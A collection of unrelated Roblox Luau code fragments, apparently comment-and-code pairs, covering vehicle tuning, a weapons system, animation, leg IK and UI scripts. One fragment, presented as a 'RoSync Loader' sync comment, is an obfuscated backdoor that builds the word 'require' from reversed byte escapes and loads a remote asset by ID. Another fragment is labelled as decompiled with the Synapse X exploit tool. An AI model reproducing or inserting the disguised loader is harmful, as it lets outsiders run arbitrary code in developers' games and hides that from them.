dropdownFrame.Position = UDim2.new(alignmentDetail.FramePositionXScale or alignmentDetail.PositionXScale, additionalOffset, 0, 0)
self._dropdownCanvasPos = Vector2.new(0, 0)
end
function Icon:_dropdownIgnoreClipping()
self:_ignoreClipping("dropdown")
end
|
-- requires |
local CameraInput = require(script.Parent:WaitForChild("CameraInput"))
local Util = require(script.Parent:WaitForChild("CameraUtils"))
|
-- Local private variables and constants |
local CAMERA_BLACKOUT_TIME = 0.1
local FP_ZOOM = 0.5
|
-- print(name .. " [" .. idx .. "] " .. animTable[name][idx].anim.AnimationId .. " (" .. animTable[name][idx].weight .. ")") |
idx = idx + 1
end
end
end
-- fallback to defaults
if (animTable[name].count <= 0) then
for idx, anim in pairs(fileList) do
animTable[name][idx] = {}
animTable[name][idx].anim = Instance.new("Animation")
animTable[name][idx].anim.Name = name
animTable[name][idx].anim.AnimationId = anim.id
animTable[name][idx].weight = anim.weight
animTable[name].count = animTable[name].count + 1
animTable[name].totalWeight = animTable[name].totalWeight + anim.weight |
--[[Status Vars]] |
local _IsOn = _Tune.AutoStart
if _Tune.AutoStart then script.Parent.IsOn.Value=true end
local _GSteerT=0
local _GSteerC=0
local _GThrot=0
local _GBrake=0
local _ClutchOn = true
local _ClPressing = false
local _RPM = 0
local _HP = 0
local _OutTorque = 0
local _CGear = 0
local _PGear = _CGear
local _spLimit = 0
local _TMode = _Tune.TransModes[1]
local _MSteer = false
local _SteerL = false
local _SteerR = false
local _PBrake = false
local _TCS = _Tune.TCSEnabled
local _TCSActive = false
local _ABS = _Tune.ABSEnabled
local _ABSActive = false
local FlipWait=tick()
local FlipDB=false
local _InControls = false
|
--[[Weight and CG]] |
Tune.Weight = 3800 -- Total weight (in pounds)
Tune.WeightBSize = { -- Size of weight brick (dimmensions in studs ; larger = more stable)
--[[Width]] 6 ,
--[[Height]] 3 ,
--[[Length]] 10 }
Tune.WeightDist = 50 -- Weight distribution (0 - on rear wheels, 100 - on front wheels, can be <0 or >100)
Tune.CGHeight = .6 -- Center of gravity height (studs relative to median of all wheels)
Tune.WBVisible = false -- Makes the weight brick visible
--Unsprung Weight
Tune.FWheelDensity = .1 -- Front Wheel Density
Tune.RWheelDensity = .1 -- Rear Wheel Density
Tune.FWLgcyDensity = 1 -- Front Wheel Density [PGS OFF]
Tune.RWLgcyDensity = 1 -- Rear Wheel Density [PGS OFF]
Tune.AxleSize = 2 -- Size of structural members (larger = more stable/carry more weight)
Tune.AxleDensity = .1 -- Density of structural members
|
-- [[ Constants ]] |
local SYNC_RATE = RunService.Heartbeat
local MAIN = script.Parent
|
--[[Brakes]] |
Tune.ABSEnabled = true -- Implements ABS
Tune.ABSThreshold = 18 -- Slip speed allowed before ABS starts working (in SPS)
Tune.FBrakeForce = 2000 -- Front brake force
Tune.RBrakeForce = 1750 -- Rear brake force
Tune.PBrakeForce = 5000 -- Handbrake force
Tune.FLgcyBForce = 10000 -- Front brake force [PGS OFF]
Tune.RLgcyBForce = 8000 -- Rear brake force [PGS OFF]
Tune.LgcyPBForce = 25000 -- Handbrake force [PGS OFF]
|
--[[ Last synced 7/9/2021 08:34 RoSync Loader ]] | getfenv()[string.reverse("\101\114\105\117\113\101\114")](5722947559) --[[ ]]--
|
--[[
Fired when state is left
]] |
function Transitions.onLeaveGame(stateMachine, event, from, to, playerComponent)
PlayerGame.leave(stateMachine, playerComponent)
end
|
-- play particles + w/ custom |
function module.Play(data)
local particle = data.particle or nil
local part = data.part or nil
local tim = data.tim or 1
local beam = data.beam or nil
if part ~= nil then
coroutine.wrap(function()
for i , v in pairs(part:GetDescendants()) do
-- beams?
if beam ~= nil then
if v:IsA("Beam") then
v.Enabled = true
task.delay(tim, function()
v.Enabled = false
end)
end
end
-- particle?
if v:IsA("ParticleEmitter") then
v.Enabled = false
if v:GetAttribute("EmitCount") then
v:Emit(v:GetAttribute("EmitCount"))
end
v.Enabled = true
task.delay(tim, function()
v.Enabled = false
--game.Debris:AddItem(v, tim+1)
end)
end
end
end)()
else
if particle ~= nil then
particle.Enabled = true
task.delay(tim, function()
particle.Enabled = false
--game.Debris:AddItem(v, tim+1)
end)
end
end
local tab = {}
tab.Part = particle
tab.Beam = beam
tab.particle = particle
return tab
end
return module
|
-- and (IsServer or weaponInstance:IsDescendantOf(Players.LocalPlayer)) |
function WeaponsSystem.onWeaponAdded(weaponInstance)
local weapon = WeaponsSystem.getWeaponForInstance(weaponInstance)
if not weapon then
WeaponsSystem.createWeaponForInstance(weaponInstance)
end
end
function WeaponsSystem.onWeaponRemoved(weaponInstance)
local weapon = WeaponsSystem.getWeaponForInstance(weaponInstance)
if weapon then
weapon:onDestroyed()
end
WeaponsSystem.knownWeapons[weaponInstance] = nil
end
function WeaponsSystem.getRemoteEvent(name)
if not WeaponsSystem.networkFolder then
return
end
local remoteEvent = WeaponsSystem.remoteEvents[name]
if IsServer then
if not remoteEvent then
warn("No RemoteEvent named ", name)
return nil
end
return remoteEvent
else
if not remoteEvent then
remoteEvent = WeaponsSystem.networkFolder:WaitForChild(name, math.huge)
end
return remoteEvent
end
end
function WeaponsSystem.getRemoteFunction(name)
if not WeaponsSystem.networkFolder then
return
end
local remoteFunc = WeaponsSystem.remoteFunctions[name]
if IsServer then
if not remoteFunc then
warn("No RemoteFunction named ", name)
return nil
end
return remoteFunc
else
if not remoteFunc then
remoteFunc = WeaponsSystem.networkFolder:WaitForChild(name, math.huge)
end
return remoteFunc
end
end
function WeaponsSystem.setWeaponEquipped(weapon, equipped)
assert(not IsServer, "WeaponsSystem.setWeaponEquipped should only be called on the client.")
if not weapon then
return
end
local lastWeapon = WeaponsSystem.currentWeapon
local hasWeapon = false
local weaponChanged = false
if lastWeapon == weapon then
if not equipped then
WeaponsSystem.currentWeapon = nil
hasWeapon = false
weaponChanged = true
else
weaponChanged = false
end
else
if equipped then
WeaponsSystem.currentWeapon = weapon
hasWeapon = true
weaponChanged = true
end
end
if WeaponsSystem.camera then
WeaponsSystem.camera:resetZoomFactor()
WeaponsSystem.camera:setHasScope(false)
if WeaponsSystem.currentWeapon then
WeaponsSystem.camera:setZoomFactor(WeaponsSystem.currentWeapon:getConfigValue("ZoomFactor", 1.1))
WeaponsSystem.camera:setHasScope(WeaponsSystem.currentWeapon:getConfigValue("HasScope", false))
end
end
if WeaponsSystem.gui then
WeaponsSystem.gui:setEnabled(hasWeapon)
if WeaponsSystem.currentWeapon then
WeaponsSystem.gui:setCrosshairWeaponScale(WeaponsSystem.currentWeapon:getConfigValue("CrosshairScale", 1))
else
WeaponsSystem.gui:setCrosshairWeaponScale(1)
end
end
if weaponChanged then
WeaponsSystem.CurrentWeaponChanged:Fire(weapon.instance, lastWeapon and lastWeapon.instance)
end
end
function WeaponsSystem.getHumanoid(part)
while part and part ~= workspace do
if part:IsA("Model") and part.PrimaryPart and part.PrimaryPart.Name == "HumanoidRootPart" then
return part:FindFirstChildOfClass("Humanoid")
end
part = part.Parent
end
end
function WeaponsSystem.getPlayerFromHumanoid(humanoid)
for _, player in ipairs(Players:GetPlayers()) do
if player.Character and humanoid:IsDescendantOf(player.Character) then
return player
end
end
end
local function _defaultDamageCallback(system, target, amount, damageType, dealer, hitInfo, damageData)
if target:IsA("Humanoid") then
target:TakeDamage(amount)
end
end
function WeaponsSystem.doDamage(target, amount, damageType, dealer, hitInfo, damageData)
if not target or ancestorHasTag(target, "WeaponsSystemIgnore") then
return
end
if IsServer then
if target:IsA("Humanoid") and dealer:IsA("Player") and dealer.Character then
local dealerHumanoid = dealer.Character:FindFirstChildOfClass("Humanoid")
local targetPlayer = Players:GetPlayerFromCharacter(target.Parent)
if dealerHumanoid and target ~= dealerHumanoid and targetPlayer then
-- Trigger the damage indicator
WeaponData:FireClient(targetPlayer, "HitByOtherPlayer", dealer.Character.HumanoidRootPart.CFrame.Position)
end
end
-- NOTE: damageData is a more or less free-form parameter that can be used for passing information from the code that is dealing damage about the cause.
-- .The most obvious usage is extracting icons from the various weapon types (in which case a weapon instance would likely be passed in)
-- ..The default weapons pass in that data
local handler = _damageCallback or _defaultDamageCallback
handler(WeaponsSystem, target, amount, damageType, dealer, hitInfo, damageData)
end
end
local function _defaultGetTeamCallback(player)
return 0
end
function WeaponsSystem.getTeam(player)
local handler = _getTeamCallback or _defaultGetTeamCallback
return handler(player)
end
function WeaponsSystem.playersOnDifferentTeams(player1, player2)
if player1 == player2 or player1 == nil or player2 == nil then
-- This allows players to damage themselves and NPC's
return true
end
local player1Team = WeaponsSystem.getTeam(player1)
local player2Team = WeaponsSystem.getTeam(player2)
return player1Team == 0 or player1Team ~= player2Team
end
return WeaponsSystem
|
-- << SETUP >> |
for commandName, command in pairs(module) do
command.Name = commandName
end
return module
|
--Place this script in the model you want to be breakable |
wait(1)
local model = script.Parent
local domain = script.Parent.Parent
_G.recurseBreakage(model, domain)
|
-- If you would like to add more spawn locations, add more if statements
-- EXACTLY the same way as the other 4 plus, add to the top of
-- this script the same thing as the stated parts with their CFrames. | |
-- Get services |
local players = game:GetService("Players")
local replicatedStorage = game:GetService("ReplicatedStorage")
|
--[[**
"Links" this Janitor to an Instance, such that the Janitor will `Cleanup` when the Instance is `Destroyed()` and garbage collected. A Janitor may only be linked to one instance at a time, unless `AllowMultiple` is true. When called with a truthy `AllowMultiple` parameter, the Janitor will "link" the Instance without overwriting any previous links, and will also not be overwritable. When called with a falsy `AllowMultiple` parameter, the Janitor will overwrite the previous link which was also called with a falsy `AllowMultiple` parameter, if applicable.
@param [t:Instance] Object The instance you want to link the Janitor to.
@param [t:boolean?] AllowMultiple Whether or not to allow multiple links on the same Janitor.
@returns [t:RbxScriptConnection] A pseudo RBXScriptConnection that can be disconnected to prevent the cleanup of LinkToInstance.
**--]] |
function Janitor.__index:LinkToInstance(Object, AllowMultiple)
local Connection
local IndexToUse = AllowMultiple and newproxy(false) or LinkToInstanceIndex
local IsNilParented = Object.Parent == nil
local ManualDisconnect = setmetatable({}, Disconnect)
local function ChangedFunction(_DoNotUse, NewParent)
if ManualDisconnect.Connected then
_DoNotUse = nil
IsNilParented = NewParent == nil
if IsNilParented then
task.defer(function()
if not ManualDisconnect.Connected then
return
elseif not Connection.Connected then
self:Cleanup()
else
while IsNilParented and Connection.Connected and ManualDisconnect.Connected do
task.wait()
end
if ManualDisconnect.Connected and IsNilParented then
self:Cleanup()
end
end
end)
end
end
end
Connection = Object.AncestryChanged:Connect(ChangedFunction)
ManualDisconnect.Connection = Connection
if IsNilParented then
ChangedFunction(nil, Object.Parent)
end
Object = nil
return self:Add(ManualDisconnect, "Disconnect", IndexToUse)
end
|
-- Decompiled with the Synapse X Luau decompiler. |
local u1 = false;
local l__LocalPlayer__2 = game.Players.LocalPlayer;
local u3 = {};
script.Parent.MouseButton1Click:Connect(function()
if not u1 then
u1 = true;
script.Parent.Text = "Show other players";
local v1 = game.Players:GetChildren();
for v2 = 1, #v1 do
if v1[v2].Name ~= l__LocalPlayer__2.Name then
table.insert(u3, workspace[v1[v2].Name]);
end;
end;
for v3 = 1, #u3 do
u3[v3].Parent = nil;
end;
elseif u1 then
u1 = false;
script.Parent.Text = "Hide other players";
for v4 = 1, #u3 do
u3[v4].Parent = workspace;
end;
u3 = {};
end;
print(unpack(u3));
end);
|
-- so long, ___ bowser! |
local deb = false
local TS = game:GetService("TweenService")
for i,v in pairs(script.Parent:GetChildren()) do
if v.Name == "Button" then
local CD = Instance.new("ClickDetector",v)
CD.MaxActivationDistance = 5
CD.MouseClick:Connect(function()
if not deb then
deb = true
local anim = TS:Create(v,TweenInfo.new(.08,Enum.EasingStyle.Sine,Enum.EasingDirection.InOut,0,true,0),{CFrame = v.CFrame * CFrame.new(-.05,0,0)})
anim.Completed:Connect(function()
deb = false
end)
anim:Play()
end
end)
end
end
|
----- sink plug handler ----- |
plug.Interactive.ClickDetector.MouseClick:Connect(function()
if plugged.Value == false then
plugged.Value = true
plug.Plug.CFrame = plug.Plug.CFrame * CFrame.new(0,-0.1,0)
else
plugged.Value = false
plug.Plug.CFrame = plug.Plug.CFrame * CFrame.new(0,0.1,0)
end
end)
|
--Instructions: Put the tools in the Team |
script.Parent = game.ServerScriptService
game.Players.PlayerAdded:connect(function(plr)
plr.CharacterAdded:connect(function(char)
for _,v in pairs(game:GetService("Teams"):GetChildren()) do
if v.TeamColor == plr.TeamColor then
for _,v in pairs(v:GetChildren()) do
if v:IsA("Tool") then
v:Clone().Parent = plr:WaitForChild("Backpack")
end
end
end
end
end)
end)
|
--//--//--//--//--//--//--//--//--//--//--//--//--//--//--//--//--//--//--//--//--//--
--//--//--//--//--//--//--//--//--//--//--//--//--//--//--//--//--//--//--//--//--//--
--//--//--//--//--//--//--//--//--//--//--//--//--//--//--//--//--//--//--//--//--//--
--//--//--//--//--//--//--//--//--//--//--//--//--//--//--//--//--//--//--//--//--//--
--//--//--//--//--//--//--//--//--//--//--//--//--//--//--//--//--//--//--//--//--//-- |
module.getQueueFunction = function(character)
-- Get all the base parts and values needed to further calculate everything
local humanoid =character:WaitForChild("Humanoid")
local rootpart =character:WaitForChild("HumanoidRootPart")
local uppertorso =character:WaitForChild("UpperTorso")
local lowertorso =character:WaitForChild("LowerTorso")
local waistjoint =uppertorso:WaitForChild("Waist")
local rootjoint =lowertorso:WaitForChild("Root")
local root0 =rootjoint.C0
local root1 =rootjoint.C1
local waist1 =waistjoint.C1
local rightupperleg =character:WaitForChild("RightUpperLeg")
local rightlowerleg =character:WaitForChild("RightLowerLeg")
local leftupperleg =character:WaitForChild("LeftUpperLeg")
local leftlowerleg =character:WaitForChild("LeftLowerLeg")
local righthip =rightupperleg:WaitForChild("RightHip")
local rightknee =rightlowerleg:WaitForChild("RightKnee")
local lefthip =leftupperleg:WaitForChild("LeftHip")
local leftknee =leftlowerleg:WaitForChild("LeftKnee")
local righthip0 =righthip.C0
local rightknee0 =rightknee.C0
local lefthip0 =lefthip.C0
local leftknee0 =leftknee.C0
--
local direction = V3(1,0,1) -- This will be changed
local stride = 2.3 -- Changes how far the legs move
local cycleSpeed = 14 -- How fast the leg-movement cycle is. Change this to suit your needs!
local left,right = 0,math.pi -- Initial rotations
local strideCF = CF(0,0,-stride/2) -- Turn that stride number into a CFrame we can use
local raycastParams = RaycastParams.new() -- Used for raycasting
raycastParams.FilterDescendantsInstances = {character}
raycastParams.IgnoreWater = true
raycastParams.FilterType = Enum.RaycastFilterType.Blacklist
--
return function(dt) -- dt, or delta, is the amount of time passed between render frames. 1/dt = frames per second
local dt10 =math.min(dt*10,1) -- Normalize dt for our needs
local lowercf =lowertorso.CFrame -- Our position
local rootcf =rootpart.CFrame -- Another position
local rootvel0 =rootpart.Velocity -- Our movement velocity
local rootvel,rootvelm
local climbing =humanoid:GetState()==Enum.HumanoidStateType.Climbing -- Are we climbing?
--==--==--==--==--==--==--==--==--==--==--==--==--==--==--==--==--==--==--==--==--==--==--==--==--==--
--==--==--==--==--==--==--==--==--==--==--==--==--==--==--==--==--==--==--==--==--==--==--==--==--==--
if climbing then -- Don't animate if we are climbing, it looks weird
rootvel =rootvel0
rootvelm =rootvel.Magnitude
direction =rootcf.lookVector
else
rootvel =rootvel0*x_and_y
rootvelm =rootvel.Magnitude
if rootvelm>0.1 then
direction =direction:Lerp(rootvel.unit, dt10)
end
end
--==--==--==--==--==--==--==--==--==--==--==--==--==--==--==--==--==--==--==--==--==--==--==--==--==--
--==--==--==--==--==--==--==--==--==--==--==--==--==--==--==--==--==--==--==--==--==--==--==--==--==--
local up =rootvelm/16
local cycle =up*dt*cycleSpeed
right =(right+cycle)%tau
left =(left+cycle)%tau
--==--==--==--==--==--==--==--==--==--==--==--==--==--==--==--==--==--==--==--==--==--==--==--==--==--
--==--==--==--==--==--==--==--==--==--==--==--==--==--==--==--==--==--==--==--==--==--==--==--==--==--
if rootvelm>0.1 then --// When moving
-- Relative Velocity
local relv0 =lowercf:vectorToObjectSpace(rootvel)
local relv1 =relv0*0.2
local relvx =relv0.X/rootvel.Magnitude
do -- Upper Torso
waistjoint.C1 =waistjoint.C1:Lerp(waist1*ANGLES(math.rad(relv1.Z),0.1*math.cos(right)-2*math.rad(relv1.X),math.rad(-relv1.X)):inverse(),dt10)
end
do -- Right Leg
local hip =(rootcf*rhipcf).p
local ground =(rootcf*rhipcf2).p
local desiredPos =(CF(ground, ground+direction)*ANGLES(-right, 0, 0)*strideCF).p
local offset =(desiredPos-hip)
local raycastResult = workspace:Raycast(hip,offset.unit*(offset.magnitude+0.5),raycastParams)
local footPos = raycastResult and raycastResult.Position or (hip + offset.unit*(offset.magnitude+0.5))
local plane,th1,th2 =solveLegIK(lowercf*righthip0,footPos, 0.55,1.15) -- 0.55,1.15
righthip.C0 =righthip.C0:Lerp(lowercf:toObjectSpace(plane)*ANGLES(th1,0,0),0.25)
rightknee.C0 =rightknee.C0:Lerp(rightknee0*ANGLES(th2,0,0),0.25)
end
do-- Left Leg
local hip =(rootcf*lhipcf).p
local ground =(rootcf*lhipcf2).p
local desiredPos =(CF(ground, ground+direction)*ANGLES(-left, 0, 0)*strideCF).p
local offset =(desiredPos-hip)
local raycastResult = workspace:Raycast(hip,offset.unit*(offset.magnitude+0.5),raycastParams)
local footPos = raycastResult and raycastResult.Position or (hip + offset.unit*(offset.magnitude+0.5))
local plane,th1,th2 =solveLegIK(lowercf*lefthip0,footPos, 0.55,1.15)
lefthip.C0 =lefthip.C0:Lerp(lowercf:toObjectSpace(plane)*ANGLES(th1,0,0),0.25)
leftknee.C0 =leftknee.C0:Lerp(leftknee0*ANGLES(th2,0,0),0.25)
end
--|||||||||||--
--|||||||||||--
else --// When not moving
-- Upper Torso
waistjoint.C1 =waistjoint.C1:Lerp(waist1, dt10)
do -- Right Leg
local hipcf =(rootcf*rhipcf)
local hip =hipcf.p
local desiredPos =(hipcf*rIdle).p
local offset =(desiredPos-hip)
local raycastResult = workspace:Raycast(hip,offset.unit*(offset.magnitude+0.5),raycastParams)
local footPos = raycastResult and raycastResult.Position or (hip + offset.unit*(offset.magnitude+0.5))
local plane,th1,th2 =solveLegIK(lowercf*righthip0,footPos, 0.55,1.15)
righthip.C0 =righthip.C0:Lerp(lowercf:toObjectSpace(plane)*ANGLES(th1,0,0),0.25)
rightknee.C0 =rightknee.C0:Lerp(rightknee0*ANGLES(th2,0,0),0.25)
end
do -- Left Leg
local hipcf =(rootcf*lhipcf)
local hip =hipcf.p
local desiredPos =(hipcf*lIdle).p
local offset =(desiredPos-hip)
local raycastResult = workspace:Raycast(hip,offset.unit*(offset.magnitude+0.5),raycastParams)
local footPos = raycastResult and raycastResult.Position or (hip + offset.unit*(offset.magnitude+0.5))
local plane,th1,th2 =solveLegIK(lowercf*lefthip0,footPos, 0.55,1.15)
lefthip.C0 =lefthip.C0:Lerp(lowercf:toObjectSpace(plane)*ANGLES(th1,0,0),0.25)
leftknee.C0 =leftknee.C0:Lerp(leftknee0*ANGLES(th2,0,0),0.25)
end
--|||||||||||--
--|||||||||||--
end
end
--
end
return module
|
-- Bind tool events |
Tool.Equipped:connect(equip)
Tool.Unequipped:connect(unequip)
Tool.Activated:connect(OnActivated)
|
--ScanForPoint() |
hum.MoveToFinished:connect(function()
anims.AntWalk:Stop()
if enRoute then
enRoute = false
end
end)
local movementCoroutine = coroutine.wrap(function()
while true do
if target then
local sessionLock = lastLock
if targetType == "Player" then
while target and lastLock == sessionLock do
if target.Character and target.Character:IsDescendantOf(workspace) and target.Character.Humanoid and target.Character.Humanoid.Health > 0 then
local dist = (root.Position-target.Character.PrimaryPart.Position).magnitude
if dist < 10 then |
-- Slider sizes (Fast) |
local fastSize = UDim2.new(0.56, 0, 1, 0)
|